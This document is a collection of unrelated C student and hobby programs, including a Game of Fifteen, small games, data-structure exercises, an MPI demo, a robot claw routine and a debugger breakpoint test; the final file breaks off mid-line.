/** * fifteen.c * * Implements Game of Fifteen (generalized to d x d). * * Usage: fifteen d * * whereby the board's dimensions are to be d x d, * where d must be in [DIM_MIN,DIM_MAX] * * Note that usleep is obsolete, but it offers more granularity than * sleep and is simpler to use than nanosleep; `man usleep` for more. */ /* * Testing suite: * check50 2016.fifteen fifteen.c * ./fifteen 3 < ~cs50/pset3/3x3.txt * ./fifteen 4 < ~cs50/pset3/4x4.txt */ #define _XOPEN_SOURCE 500 #include <cs50.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> // constants #define DIM_MIN 3 #define DIM_MAX 9 // board int board[DIM_MAX][DIM_MAX]; // dimensions int d; // prototypes void clear(void); void greet(void); void init(void); void draw(void); bool move(int tile); bool won(void); int main(int argc, string argv[]) { // ensure proper usage if (argc != 2) { printf("Usage: fifteen d\n"); return 1; } // ensure valid dimensions d = atoi(argv[1]); if (d < DIM_MIN || d > DIM_MAX) { printf("Board must be between %i x %i and %i x %i, inclusive.\n", DIM_MIN, DIM_MIN, DIM_MAX, DIM_MAX); return 2; } // open log FILE *file = fopen("log.txt", "w"); if (file == NULL) { return 3; } // greet user with instructions greet(); // initialize the board init(); // accept moves until game is won while (true) { // clear the screen clear(); // draw the current state of the board draw(); // log the current state of the board (for testing) for (int i = (d-1); i >= 0; i--) { for (int j = 0; j < d; j++) { fprintf(file, "%i", board[i][j]); if (j < d - 1) { fprintf(file, "|"); } } fprintf(file, "\n"); } fflush(file); // check for win if (won()) { printf("ftw!\n"); break; } // prompt for move printf("Tile to move: "); int tile = get_int(); // quit if user inputs 0 (for testing) if (tile == 0) { break; } // log move (for testing) fprintf(file, "%i\n", tile); fflush(file); // move if possible, else report illegality if (!move(tile)) { printf("\nIllegal move.\n"); usleep(250000); } // sleep thread for animation's sake usleep(250000); } // close log fclose(file); // success return 0; } /** * Clears screen using ANSI escape sequences. */ void clear(void) { printf("\033[2J"); printf("\033[%d;%dH", 0, 0); } /** * Greets player. */ void greet(void) { clear(); printf("WELCOME TO GAME OF FIFTEEN\n"); usleep(500000); } /** * Initializes the game's board with tiles numbered 1 through d*d - 1 * (i.e., fills 2D array with values but does not actually print them). */ void init(void) { // set the maximum number of tiles int tiles = (d * d) - 1; // loop through the board setting the initial numbers for (int row = (d - 1); row >= 0; row--) { for (int col = 0; col < d; col++) { if (d % 2 == 0 && tiles == 2) { board[row][col] = 1; board[row][col + 1] = 2; col = d; } else if (tiles > 0) { board[row][col] = tiles; tiles--; } } } board[0][d-1] = 0; } /** * Prints the board in its current state. */ void draw(void) { printf("\n"); // loop through the board setting the initial numbers for (int row = (d - 1); row >= 0; row--) { for (int col = 0; col < d; col++) { if (board[row][col] ==0) { printf("_ "); } else if (board[row][col] >= 10) { printf("%i ", board[row][col]); } else { printf("%i ", board[row][col]); } } printf("\n"); } } /** * If tile borders empty space, moves tile and returns true, else * returns false. */ bool move(int tile) { // Store the array index boundary in a variable int edge = d-1; // Ensure tile choice is part of the board at all if (tile > ((d*d) -1) || tile < 0) { return false; } // set variables for the tile and zero locations int rowLoc = -1; int colLoc = -1; int rowZero = -1; int colZero = -1; // find the location of the chosen tile and the zero on the board for (int row = (d - 1); row >= 0; row--) { for (int col = 0; col < d; col++) { if (board[row][col] == tile) { rowLoc = row; colLoc = col; } else if (board[row][col] == 0) { rowZero = row; colZero = col; } } } // make sure the squares are adjacent // is the zero above the tile? if (rowLoc + 1 <= edge && rowLoc + 1 >=0 ) { if (board[rowLoc + 1][colLoc] == 0) { // write tile to old zero location board[rowZero][colZero] = tile; // write 0 to old tile location board[rowLoc][colLoc] = 0; return true; } } // is the zero below the tile? if (rowLoc - 1 <= edge && rowLoc - 1 >=0 ) { if (board[rowLoc - 1][colLoc] == 0) { // write tile to old zero location board[rowZero][colZero] = tile; // write 0 to old tile location board[rowLoc][colLoc] = 0; return true; } } // is the zero left of the tile? if (colLoc - 1<= edge && colLoc - 1 >=0 ) { if (board[rowLoc][colLoc - 1] == 0) { // write tile to old zero location board[rowZero][colZero] = tile; // write 0 to old tile location board[rowLoc][colLoc] = 0; return true; } } // is the zero right of the tile? if (colLoc + 1 <= edge && colLoc + 1 >=0 ) { if (board[rowLoc][colLoc + 1] == 0) { // write tile to old zero location board[rowZero][colZero] = tile; // write 0 to old tile location board[rowLoc][colLoc] = 0; return true; } } // failing the prior checks, the chosen tile cannot be moved, so return false return false; } /** * Returns true if game is won (i.e., board is in winning configuration), * else false. */ bool won(void) { //int tiles = (d * d) - 1; int checker = 1; for (int row = (d - 1); row >= 0; row--) { for (int col = 0; col < d; col++) { // if no mis-located tiles by the last spot, the game is won if (row == 0 & col == (d-1)) { return true; } // if a tile is out of order, the game is not won yet if (board[row][col] != checker) { return false; } checker++; } } return false; }
C
// Copyright Burcea Marian-Gabriel 2018 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #ifndef functions_h #define functions_h #define NMAX 1000 #define CHR 16 struct Glaciar{ int hill; int gloves; // campul player contine indicele jucatorului care se gaseste in celula int player; // is_on_map este 1 daca celula este pe harta, 0 in caz contrar int is_on_map; }; struct Fighter{ char *name; int line; int column; int hp; int stamina; int gloves; int kills; }; void swaps(int *a, int *b); void swap_struct(struct Fighter *a, struct Fighter *b); void read_data(struct Glaciar **a, int R, int n, struct Fighter **player, int *remain); void print_data(struct Glaciar **a, int R, int n, struct Fighter *player, int remain); int fight_winner(struct Fighter *player, int fighter1, int fighter2, int *remain); void move_up(struct Glaciar **a, struct Fighter *player, int id, int *remain); void move_down(struct Glaciar **a, int R, struct Fighter *player, int id, int *remain); void move_left(struct Glaciar **a, struct Fighter *player, int id, int *remain); void move_right(struct Glaciar **a, int R, struct Fighter *player, int id, int *remain); void move_player(struct Glaciar **a, int R, int n, struct Fighter *player, int *remain); void snowstorm(struct Glaciar **a, struct Fighter *player, int n, int *remain); void scoreboard(int n, struct Fighter *player); struct Glaciar** meltdown(struct Glaciar **a, int *R, int n, struct Fighter *player, int *remain); void finish(int n, struct Fighter *player, int *remain); struct Glaciar** making_moves(struct Glaciar **a, int *R, int n, struct Fighter *player, int remain); #endif
C
#include <stdio.h> #include <string.h> #include <math.h> void itoa(int n, char s[]); void reverse(char s[]); void main(){ int i,x=-2147483648; char s[100]; for (i=0;i<100;++i) s[i]=0; itoa(x,s); for (i=0; s[i]!='\0' ;++i) putchar(s[i]); } void itoa(int n, char s[]) { int i, sign; sign = n; //if ((sign = n) < 0) /* сохраняем знак */ // n =-n; /* делаем n положительным */ i = 0; do {/* генерируем цифры в обратном порядке */ s[i++] = fabs(n %10)+ '0'; /* следующая цифра */ } while (fabs(n /= 10) > 0); /* исключить ее */ if (sign < 0) s[i++] = '-'; s[i] = '\0'; reverse(s); } /* reverse: переворачивает строку s (результат в s) */ void reverse(char s[]) { int c,i,j; for (i = 0, j = strlen(s)-1; i < j; i++, j--) { c = s[i]; s[i] = s[j]; s[j] = c; } }
C
#include <math.h> #include "MLVengine/object.h" #include <stdlib.h> typedef struct carac { int lifePoint; int maxLifePoint; int moveSet; Object* target; int moveTime; int fireSet; int fireTime; int attack; Vector init; } Carac; Carac* newCarac(int lifePoint, int maxLifePoint, int moveSet, int fireSet, int fireTime, int attack) { Carac* c=(Carac*)malloc(sizeof(Carac)); c->lifePoint=lifePoint; c->maxLifePoint=maxLifePoint; c->moveSet=moveSet; c->fireSet=fireSet; c->moveTime=0; c->fireTime=fireTime; c->attack=attack; c->init=newVector(0, 0); return c; } void moveTo(Object* o, Vector dest, float max, float acc) { Vector v = multiplie(addVector(dest, multiplie(*(getPos(o)), -1)), 0.1); if (norme(v)>max) v=multiplie(normalize(v), max); Vector a = multiplie(addVector(v, multiplie(*(getVit(o)), -1)), 1); if (norme(a)>acc) a=multiplie(normalize(a), acc); setVit(o, addVector(*(getVit(o)), a)); } Vector posClockA(Vector init, int t) { return addVector(init, newVector(cosf(t/(float)FPS)*300.0-300, sinf(t/(float)FPS)*300.0)); } Vector posClockW(Vector init, int t) { return addVector(init, newVector(cosf(t/(float)FPS)*-300.0+300, sinf(t/(float)FPS)*300.0)); } Vector posSinH(Vector init, int t) { return addVector(init, newVector(sinf(t/(float)FPS)*400.0, t*100.0/FPS)); } Vector posLeftRight(Vector init, int t) { if (t>700) return newVector(0, -1000); if ((t%300)<150) return addVector(init, newVector(400, 200)); return addVector(init, newVector(-400, 200)); } Vector onPlace(Vector init, int t) { return addVector(init, newVector(cosf(t/(float)FPS)*50.0, sinf(t/(float)FPS)*50.0+300)); } Vector spiraleOut(Vector init, int t) { return addVector(init, newVector(cosf(t/(float)FPS)*t*0.8, sinf(t/(float)FPS)*t*0.8)); } Vector getTargetVitPlayer(Object* o) { if (mouse) { Vector v = addVector(getMousePos(), newVector(-(SIZE_X/2-UI_SIZE/2), -SIZE_Y/2)); if (getX(v)>(SIZE_X/2-UI_SIZE/2)) setX(&v, SIZE_X/2-UI_SIZE/2); return v; } float targetX=0; float targetY=0; if (isPressed("LEFT")) targetX-=1; if (isPressed("DOWN")) targetY+=1; if (isPressed("UP")) targetY-=1; if (isPressed("RIGHT")) targetX+=1; if (targetX!=0 && targetY!=0) { targetX*=0.707107; targetY*=0.707107; } targetX*=100; targetY*=100; targetX+=getX(*getPos(o)); targetY+=getY(*getPos(o)); if (targetX>(SIZE_X/2-UI_SIZE/2)) { targetX=(SIZE_X/2-UI_SIZE/2); } if (targetX<(-SIZE_X/2+UI_SIZE/2)) { targetX=(-SIZE_X/2+UI_SIZE/2); } if (targetY>(SIZE_Y/2)) { targetY=(SIZE_Y/2); } if (targetY<(-SIZE_Y/2)) { targetY=(-SIZE_Y/2); } return newVector(targetX, targetY); } void switchControle() { if (mouse && isPressed("SPACE")) mouse = 0; if (!mouse && click(0)) mouse = 1; } void moveObj (Object* o) { Carac* c=getCarac(o); if (NULL==c) return; switch (c->moveSet) { case 3: moveTo(o, posClockW(c->init, c->moveTime), 500.0/FPS, 30.0/FPS); break; case 2: moveTo(o, posClockA(c->init, c->moveTime), 500.0/FPS, 30.0/FPS); break; case 1: switchControle(); if (mouse) moveTo(o, getTargetVitPlayer(o), 1000.0/FPS, 60.0/FPS); else moveTo(o, getTargetVitPlayer(o), 700.0/FPS, 30.0/FPS); break; case 4: moveTo(o, posSinH(c->init, c->moveTime), 500.0/FPS, 30.0/FPS); break; case 5: moveTo(o, posLeftRight(c->init, c->moveTime), 500.0/FPS, 30.0/FPS); break; case 6: moveTo(o, onPlace(c->init, c->moveTime), 200.0/FPS, 10.0/FPS); break; case 7: moveTo(o, spiraleOut(c->init, c->moveTime), 500.0/FPS, 30.0/FPS); break; } c->moveTime++; } void fireEnemy1 (Object* o) { Carac* c = (Carac*)getCarac(o); if (c->fireTime<=0) { if (getObject(c->target)==NULL) addToSet(enemyM, createMissile(o, newVector(0, 2), newVector(0, 0), 5, 1)); else addToSet(enemyM, createMissile(o, multiplie(normalize(addVector(*getPos(c->target), multiplie(*getPos(o), -1))), 2), newVector(0, 0), 5, 1)); c->fireTime=FPS; } } Object* createSpaceShipe (int i); void fireBoss1 (Object* o) { Carac* c = (Carac*)getCarac(o); if (c->fireTime<=0) { Object* o2 = createSpaceShipe(8); setPos(o2, addVector(*getPos(o), newVector(0, -30))); ((Carac*)getCarac(o2))->target = ((Carac*)getCarac(o))->target; ((Carac*)getCarac(o2))->init=*getPos(o2); addObject(s, o2, 1); addToSet(enemy, o2); c->fireTime=FPS*1; } if (c->fireTime%10 == 0 && c->fireTime < FPS*0.8) { if (getObject(c->target)==NULL) addToSet(enemyM, createMissile(o, newVector(0, 2), newVector(0, 0), 5, 1)); else addToSet(enemyM, createMissile(o, multiplie(normalize(addVector(*getPos(c->target), multiplie(*getPos(o), -1))), 2), newVector(0, 0), 5, 1)); } } void firePlayer (Object* o) { Carac* c = (Carac*)getCarac(o); if (c->fireTime<=0) { if (isPressed("SPACE") || click(0)) { addToSet(allyM, createMissile(o, newVector(0, -15), newVector(-5, 0), 3, 1)); addToSet(allyM, createMissile(o, newVector(0, -15), newVector(5, 0), 3, 1)); c->fireTime=FPS/6; } else { c->fireTime=1; } } } void fireObj(Object* o) { Carac* c = getCarac(o); if (c->fireSet==0) return; switch (c->fireSet) { case 1: firePlayer(o); break; case 2: fireEnemy1(o); break; case 3: fireBoss1(o); break; } c->fireTime--; }
C
#include <stdio.h> #include <stdlib.h> int mixCardTray(void) { int i; int cardnum; int cardChoosen[N_CARD]; for (i = 0; i < N_CARD; i++) { // cardChoosen 迭 ߺ ī üũѴ. cardChoosen[i] = FALSE; } for(i=0; i< N_CARD; i++){ cardnum = rand() % N_CARD; if (cardChoosen[cardnum] == TRUE) { // TRUE ̹ i--; continue; } cardChoosen[cardnum] = TRUE; CardTray[i] = cardnum; } printf("--> Card is Mixed and Put into the Tray \n"); } int pullCard(user) { if (cardIndex == N_CARD) { printf("card ran out of the tray!! finishing the game...\n"); checkFinalWinner(); } cardhold[user][numCard[user]++] = CardTray[cardIndex]; cardIndex++; } void printCard(int cardnum) { int i, j; i = cardnum / 13; j = cardnum % 13; if(i==0) printf("DIA"); else if(i==1) printf("HRT"); else if(i==2) printf("CLV"); else printf("SPD"); if(j==0) printf("King "); else if(j==1) printf("Ace "); else if(j==11) printf("Jack "); else if(j==12) printf("Queen "); else printf("%d ", j); } void printCardInitialStatus(void) { int i; printf(" --- server : "); printf("X "); printCard(cardhold[n_user][1]); printf("\n"); printf(" -> you : "); printCard(cardhold[i][0]); printCard(cardhold[i][1]); printf("\n"); for(i=1; i<n_user; i++){ printf(" -> player%d : ", i); printCard(cardhold[i][0]); printCard(cardhold[i][1]); printf("\n"); } } void printUserCardStatus(int user, int cardcnt) { int i; printf(" -> card : "); for (i=0;i<cardcnt;i++) printCard(cardhold[user][i]); printf("\t ::: "); }
C
#include <stdio.h> #include <stdlib.h> struct Node { int key; struct Node* next; }; struct queue { struct Node *front, *rear; }; struct Node* newNode(int k) { struct Node* newnode = (struct Node*)malloc(sizeof(struct Node)); newnode->key = k; newnode->next = NULL; return newnode; } struct queue* createQueue() { struct queue* q = (struct queue*)malloc(sizeof(struct queue)); q->front = q->rear = NULL; return q; } void enQueue(struct queue* q, int k) { struct Node* newnode = newNode(k); if (q->front==NULL) { q->front = q->rear = newnode; q->rear->next=q->rear; return; } q->rear->next = newnode; q->rear = newnode; q->rear->next=q->front; } int deQueue(struct queue* q) { struct Node *ptr; int value; if (q->front == NULL) { printf("Underflow"); return -1; } if(q->front==q->rear) { value=q->front->key; free(q->front); q->front=q->rear=NULL; } else { ptr=q->front; value=ptr->key; q->front=q->front->next; q->rear->next=q->front; free(ptr); } return value; } void display(struct queue *q) { struct Node *temp=q->front; while(temp->next!=q->front) { printf("%d->",temp->key); temp=temp->next; } printf("%d",temp->key); } void main() { struct queue* q = createQueue(); int n,val,ch, z=1; printf("1.Enque\n"); printf("2.Deque\n"); printf("3.Display\n"); while(z!=0) { printf("Enter choice\n"); scanf("%d", &ch); switch(ch) { case 1: printf("Enter the data:"); scanf("%d",&val); enQueue(q,val); break; case 2: n = deQueue(q); if (n!=-1) printf("Dequeued item is %d", n); break; case 3: if(q!=NULL) display(q); else printf("Empty queue"); break; default: printf("Wrong option\n"); } printf("Do you want to continue? Press 0 to exit\n"); scanf("%d", &z); } }
C
#include "circular_buffer.h" struct circularBuffer CreateCircularBuffer(unsigned int sizeOfBuffer) { struct circularBuffer buffer = {sizeOfBuffer, 0, 0, 0, malloc(sizeof(struct machineState) * sizeOfBuffer)}; return buffer; } void writeToCircularBuffer(struct circularBuffer *buffer, struct machineState value) { if (buffer->bufferLength >= buffer->sizeOfBuffer) { printf("ERR: Buffer overflow\n"); return; } buffer->bufferData[buffer->writePosition] = value; buffer->writePosition = (++(buffer->writePosition)) % buffer->sizeOfBuffer; buffer->bufferLength++; } struct machineState readFromCircularBuffer(struct circularBuffer *buffer) { if (!(buffer->bufferLength)) { printf("ERR: Cannot read from empty buffer\n"); struct machineState defaultRecord = {stop, 0, '\0'}; return defaultRecord; } int rPos = buffer->readPosition; buffer->readPosition = (++(buffer->readPosition)) % buffer->sizeOfBuffer; buffer->bufferLength--; return buffer->bufferData[rPos]; } void freeCircularBuffer(struct circularBuffer *buffer) { free(buffer->bufferData); }
C
#include <sys/socket.h> #include <sys/types.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <stdarg.h> #include <errno.h> #include <fcntl.h> #include <sys/time.h> #include <sys/ioctl.h> #include <netdb.h> #define PORT 80 #define MAXLINE 4096 int main(int argc,char * argv[]){ int sockfd,n; struct sockaddr_in address; int addlen = sizeof(address); char rval[MAXLINE]; char sendline[100]; int sendbytes; if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){ perror("socket creation failed"); exit(-1); } memset(&address,0,addlen); address.sin_family = AF_INET; address.sin_port = htons(PORT); int a = inet_pton(AF_INET,"172.217.167.110", &(address.sin_addr)); if(a<0){ perror("invalid address"); exit(-1); } if(connect(sockfd,(struct sockaddr *)&address, (socklen_t)addlen)<0){ perror("connection failed"); exit(-1); } sprintf(sendline,"GET / HTTP/1.1\r\n\r\n"); sendbytes = strlen(sendline); if(write(sockfd, sendline,sendbytes)!=sendbytes){ perror("write error"); exit(-1); } memset(rval,0,MAXLINE); if((n=read(sockfd,rval,MAXLINE-1))>0){ printf("%s",rval); } if(n<0){ perror("read failed"); exit(-1); } return 0; }
C
/* ** my_remove.c for 42sh in /home/menich_a/rendu/PSU_2013_minishell2/srcs ** ** Made by menich_a ** Login <[email protected]> ** ** Started on Wed May 21 11:52:10 2014 menich_a ** Last update Sat May 31 14:12:45 2014 menich_a */ #include <unistd.h> #include <stdlib.h> #include "mysh.h" #include "my.h" int my_remove_ret(char **cmd, char **env, int check) { int ret; if (!cmd[0] || !cmd[1]) return (msg_error("mysh: error: malloc failed.\n")); if ((ret = launch_exec_cmd(cmd, env))) return (ret); if (check) my_free_tab(env); return (0); } /* ** Execute an rm of `file' */ int my_remove(char **env, char *file) { char **cmd; int check; check = 0; if (access(file, F_OK) < 0) return (0); if (my_find_in_env(env, "PATH") == NULL) { check = 1; if (!(env = malloc(sizeof(*env) * 2)) || !(env[0] = my_strdup("PATH=/usr/bin"))) return (msg_error("mysh: error: malloc failed.\n")); env[1] = NULL; } cmd = malloc(sizeof(*cmd) * 3); if (cmd == NULL) return (msg_error("mysh: error: malloc failed.\n")); cmd[0] = my_strdup("rm"); cmd[1] = my_strdup(file); cmd[2] = NULL; return (my_remove_ret(cmd, env, check)); }
C
#include <stdio.h> #include <string.h> #include <unistd.h> #include <mpi.h> #define MASTER 0 #define TAG 0 #define MSGSIZE 100 #define MAX 25 int main(int argc, char* argv[]) { //http://mpitutorial.com/tutorials/mpi-broadcast-and-collective-communication/ int my_rank, source, num_nodes; char my_host[MAX]; char message[MSGSIZE]; int number = 0; double time = 0.0; MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD, &my_rank); MPI_Comm_size(MPI_COMM_WORLD, &num_nodes); double t1, t2; t1 = MPI_Wtime(); time -= MPI_Wtime(); if (my_rank == MASTER) { number = 99; for (source = 1; source < num_nodes; source++) { MPI_Send(&number, 1, MPI_INT, source, TAG, MPI_COMM_WORLD); } } else { //printf("Before MPI_Recv, process %d value is %d\n", my_rank, number); MPI_Recv(&number, 1, MPI_INT, MASTER, TAG, MPI_COMM_WORLD, MPI_STATUS_IGNORE); printf("After MPI_Recv, process %d value is %d\n", my_rank, number); } time += MPI_Wtime(); MPI_Finalize(); if (my_rank == MASTER){ printf("Avg MPI_Bcast time = %lf\n", time); } return 0; } /* int main(int argc, char* argv[]) { int my_rank, source, num_nodes; char my_host[MAX]; char message[MSGSIZE]; MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD, &my_rank); MPI_Comm_size(MPI_COMM_WORLD, &num_nodes); if (my_rank != MASTER) { gethostname (my_host, MAX); sprintf(message, "Hello from process %d on host %s!", my_rank, my_host); MPI_Send(message, strlen(message) + 1, MPI_CHAR, MASTER, TAG, MPI_COMM_WORLD); } else { gethostname (my_host, MAX); printf ("Num_nodes: %d\n", num_nodes); printf ("Hello from Master (process %d) on host %s!\n", my_rank, my_host); for (source = 1; source < num_nodes; source++) { MPI_Recv(message, MSGSIZE, MPI_CHAR, source, TAG, MPI_COMM_WORLD, MPI_STATUS_IGNORE); printf("%s\n", message); } } MPI_Finalize(); return 0; } */
C
#ifndef HEX_H_INCLUDED #define HEX_H_INCLUDED #include <stdlib.h> #include <stdio.h> #include <assert.h> typedef enum { L = 0, R = 1 } Side; typedef enum { W =0, N = 1, E = 2 } Direction; typedef struct { int q, r, s; } Hex; typedef struct { float x, y; } Point; typedef struct { int q, r; Side side; } Vertex; typedef struct { int q, r; Direction dir; } Edge; /** \brief * * \param q int * \param r int * \param s int * \return Hex* * */ int hex_creer_nouveau(int q, int r, int s); /** \brief vrai si a est equivalent a b * * \param a Hex* * \param b Hex* * \return bool * */ int hex_equivalent(Hex *a, Hex *b); int pixel_to_hex(Point *in_point, Hex *out_hex, int size); int hex_to_pixel(Hex *in_hex, Point *out_point, int size); void hex_hex_neighbours(Hex *in_hex, Hex * out_hexes); int hex_corners(Hex *hex, Vertex *vertices); int adjacent_vertices(Vertex *vert, Vertex *vertices); int vertex_touches(Vertex *vert, Hex *hexes); int vertex_to_pixel(Vertex *vert, Point *out_pt, int hex_size); int distance_point(Point *a, Point *b); #endif // HEX_H_INCLUDED
C
#include <stdio.h> #include <wallaby/wallaby.h> #define CLOSED 1000 //Claw closing #define OPEN 2047 //Claw opening #define CLAW 0 //Grabs Objects #define UP 1200 //Makes claw rise #define UP_MAX 2047 //Makes claw go rise al the way up #define DOWN 600 //Lowers claw #define ARM 2 //Holds the claw and allows it to rise or lower #define RIGHT 1 //Right Motor/Wheel #define LEFT 3 //Left Motor/Wheel void stop() { //Stop Wallaby/program motor(LEFT, 0); motor(RIGHT, 0); } void drive_forwards(power, time){ // Wallaby dirve forwards motor(RIGHT, power); motor(LEFT, power); msleep(time); motor(RIGHT, 0); motor(LEFT, 0); } void turn_left(power, time) { //Makes Wallaby turn in the left dirrection motor(RIGHT, power); motor(LEFT, -power); msleep(time); } void turn_right(power, time) { //Makes Wallaby turn in the right dirrection motor(RIGHT, -power); motor(LEFT, power); msleep(time); } void change_servo(int servo, int val, int decrease) { //Setting servo positions for beginning while ((!decrease && get_servo_position(servo) < val) || (decrease && get_servo_position(servo) > val)) { set_servo_position(servo, get_servo_position(servo) + 8 * (decrease ? -1 : 1)); msleep(25); } } void close_claw () { //Closes Claw to hold object(s) and/or to close claw to move foward without bumping into anything change_servo(CLAW, CLOSED, 1); } void open_claw () { //Opens claw to grab/release objects change_servo(CLAW, OPEN, 0); } void raise_arm () { //To higher the claw change_servo(ARM, DOWN, 0); } void lower_arm_beginning () { //One way to lower claw change_servo(ARM, UP, 1); } void drop_arm () { //Lower claw all way down change_servo(ARM, UP, 1); } int drive_backwards(int power, int time) { //Moving Wallaby Backwards int temp = 0; motor(LEFT, power); motor(RIGHT, power); while(temp < time) { msleep(20); temp += 20; if(analog(2) > 3800) { stop(); return 1; } } stop(); return 0; } int main(){ wait_for_light(0); shut_down_in(119); set_servo_position(ARM, UP_MAX); enable_servos(); // initialization set_servo_position(CLAW,CLOSED); set_servo_position(CLAW,CLOSED); lower_arm_beginning(); //Set initial servo positions msleep(200); //Drive to object drive_forwards(50,1700); turn_left(40,1500); drive_forwards(50,6650); raise_arm(); open_claw(); drive_forwards(25,2050); close_claw(); set_servo_position(CLAW,CLOSED); //Return to base drive_backwards(-50,3500); drop_arm(); turn_left(50,1750); drive_forwards(50,5450); drop_arm(); open_claw(); set_servo_position(CLAW,OPEN); drive_backwards(-25,2000); close_claw(); set_servo_position(CLAW,CLOSED); raise_arm(); //Drive to object again turn_left(50,1750); drive_forwards(50,5450); raise_arm(); open_claw(); drive_forwards(25,2050); close_claw(); //Return to base drive_backwards(-50,1025); drop_arm(); turn_left(50,1750); drive_forwards(50,5450); raise_arm(); open_claw(); drive_backwards(-25,2000); close_claw(); msleep(200); return 0; }
C
// #include<ulib.h> // int fn_2(int i); // int fn_1(int i); // int fn_2(int i) // { // if( i == 0) return 0; // printf("In fn2 i = %d\n", i); // return fn_1(i-1); // } // int fn_1(int i) // { // if(i ==0) return 0; // printf("In fn1 i = %d\n",i); // return fn_2(i-1); // } // int main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5) // { // int cpid; // long ret = 0; // int i, bt_count; // unsigned long long bt_info[MAX_BACKTRACE]; // ret = become_debugger(); // cpid = fork(); // // printk("I am exiting wait and continue\n"); // if(cpid < 0){ // printf("Error in fork\n"); // } // else if(cpid == 0){ // printf("fn_1 : %x\n", fn_1); // printf("fn_2 : %x\n", fn_2); // fn_1(0); // fn_2(0); // fn_1(4); // } // else{ // ret = set_breakpoint(fn_1); // ret = set_breakpoint(fn_2); // // fn_1 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_2 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_1 4 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_2 3 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_1 2 // ret = wait_and_continue(); // // printf("I came here\n"); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // printf("I came here now exiting\n"); // // fn_2 1 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // fn_1 0 // ret = wait_and_continue(); // printf("Breakpoint hit at : %x\n", ret); // printf("BACKTRACE INFORMATION\n"); // bt_count = backtrace((void*)&bt_info); // printf("Backtrace count: %d\n", bt_count); // for(int i = 0; i < bt_count; i++) // { // printf("#%d %x\n", i, bt_info[i]); // } // // for exit // ret = wait_and_continue(); // printf("Child exit return : %x\n", ret); // } // return 0; // } #include <ulib.h> void fn_1(int x) { printf("x = %d\n", x); if (x == 0) return; fn_1(x - 1); } int fib_merge(int); int fib(int i){ if(i <= 1) return i; return fib_merge(i); } int fib_merge(int i){ return fib(i-1) + fib(i-2); } int fib_rec(int i){ if(i <= 1) return i; return fib_rec(i-1) + fib_rec(i-2); } void print_regs(struct registers reg_info){ printf("Registers:\n"); printf("r15: %x\n", reg_info.r15); printf("r14: %x\n", reg_info.r14); printf("r13: %x\n", reg_info.r13); printf("r12: %x\n", reg_info.r12); printf("r11: %x\n", reg_info.r11); printf("r10: %x\n", reg_info.r10); printf("r9: %x\n", reg_info.r9); printf("r8: %x\n", reg_info.r8); printf("rbp: %x\n", reg_info.rbp); printf("rdi: %x\n", reg_info.rdi); printf("rsi: %x\n", reg_info.rsi); printf("rdx: %x\n", reg_info.rdx); printf("rcx: %x\n", reg_info.rcx); printf("rbx: %x\n", reg_info.rbx); printf("rax: %x\n", reg_info.rax); printf("entry_rip: %x\n", reg_info.entry_rip); printf("entry_cs: %x\n", reg_info.entry_cs); printf("entry_rflags: %x\n", reg_info.entry_rflags); printf("entry_rsp: %x\n", reg_info.entry_rsp); printf("entry_ss: %x\n", reg_info.entry_ss); } int main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5) { int cpid; long ret = 0; int i, bt_count; unsigned long long bt_info[MAX_BACKTRACE]; ret = become_debugger(); cpid = fork(); if (cpid < 0) { printf("Error in fork\n"); } else if (cpid == 0) { printf("fib = %d\n", fib(4)); // printf("fib_rec = %d\n", fib_rec(4)); } else { int ret_fib = set_breakpoint(fib); int ret_fib_merg = set_breakpoint(fib_merge); // int ret_fib_rec = set_breakpoint(fib_rec); struct breakpoint bp[100]; int bp_num = info_breakpoints(bp); for(int i=0; i < bp_num; i++){ printf("num = %d addr = %x\n", bp[i].num, bp[i].addr); } s64 ret_wait; int cnt = 0; while(ret_wait = wait_and_continue()){ printf("breakpoint addr %x\n", ret_wait); if(1){ remove_breakpoint((void*)ret_wait); if((void*)ret_wait == fib && cnt != 0){ set_breakpoint(fib_merge); }else if(cnt != 0){ set_breakpoint(fib); } } // struct registers reg; // info_registers(&reg); // print_regs(reg); bp_num = info_breakpoints(bp); for(int i=0; i < bp_num; i++){ printf("num = %d addr = %x\n", bp[i].num, bp[i].addr); } cnt++; } } return 0; } // #include <ulib.h> // void fn_1(int x) // { // printf("x = %d\n", x); // if (x == 0) // return; // fn_1(x - 1); // } // int fib_merge(int); // int fib(int i){ // if(i <= 1) return i; // return fib_merge(i); // } // int fib_merge(int i){ // return fib(i-1) + 